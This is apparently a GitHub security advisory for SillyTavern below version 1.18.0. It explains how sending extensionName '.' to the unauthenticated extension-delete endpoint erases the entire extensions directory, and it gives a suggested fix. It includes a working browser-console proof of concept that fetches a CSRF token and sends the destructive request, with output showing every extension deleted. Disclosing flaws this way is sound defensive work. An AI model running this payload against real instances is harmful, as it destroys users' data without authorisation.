GHSA-886q-f44j-h6wh SillyTavern has a Path Traversal issue

• npm sillytavern: < 1.18.0 → fixed in 1.18.0

Summary `POST /api/extensions/delete` endpoint accepts `extensionName: "."` which bypasses `sanitize-filename` validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. Affected File `src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`) Root Cause The validation check occurs before sanitization: ```javascript // [1] "." is truthy — passes the check if (!request.body.extensionName) { return response.status(400).send('Bad Request'); } // [2] sanitize(".") → "" const extensionPath = path.join(basePath, sanitize(extensionName)); // path.join("data\\default-user\\extensions", "") // = "data\\default-user\\extensions" ← basePath itself! // [3] Deletes the entire extensions directory await fs.promises.rm(extensionPath, { recursive: true }); ``` `sanitize-filename` converts `"."` to `""` (documented behavior). `path.join(basePath, "")` returns `basePath` itself. Result: the entire `data\default-user\extensions\` directory is deleted. Proof of Concept Tested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` Authentication: none (basicAuthMode: false, default configuration) Run in browser console (F12) while SillyTavern is open: ```javascript async function poc() { const { token } = await (await fetch('/csrf-token')).json(); const headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': token, }; // Before: 1 extension installed const before = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('Before:', before.filter(e => e.type === 'local')); // [{ type: 'local', name: 'third-party/Extension-Notebook' }] // Attack const res = await fetch('/api/extensions/delete', { method: 'POST', headers, body: JSON.stringify({ extensionName: '.' }), }); console.log('Status:', res.status); // 200 console.log('Body:', await res.text()); // "Extension has been deleted at data\default-user\extensions" // After: empty const after = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('After:', after.filter(e => e.type === 'local')); // [] } poc(); ``` Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: [] Impact • No authentication required (`basicAuthMode: false` by default). Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request. • All installed third-party extensions are unrecoverably lost. • With `global: true` and admin privileges, the global extensions directory shared across all users can also be deleted. • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website. Same Pattern in Other Endpoints The same vulnerability exists in: • `POST /api/extensions/update` • `POST /api/extensions/version` • `POST /api/extensions/branches` • `POST /api/extensions/switch` Suggested Fix ```javascript const sanitized = sanitize(extensionName); // Check AFTER sanitizing if (!sanitized) { return response.status(400).send('Bad Request: Invalid extension name.'); } const extensionPath = path.join(basePath, sanitized); // Additional path traversal guard const resolvedPath = path.resolve(extensionPath); const resolvedBase = path.resolve(basePath); if (!resolvedPath.startsWith(resolvedBase + path.sep)) { return response.status(400).send('Bad Request: Invalid extension path.'); } ``` Apply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints. References • CWE-22: Improper Limitation of a Pathname to a Restricted Directory • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical) • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename • Related CVE (same project): CVE-2025-59159 REPORTED BY Jormungandr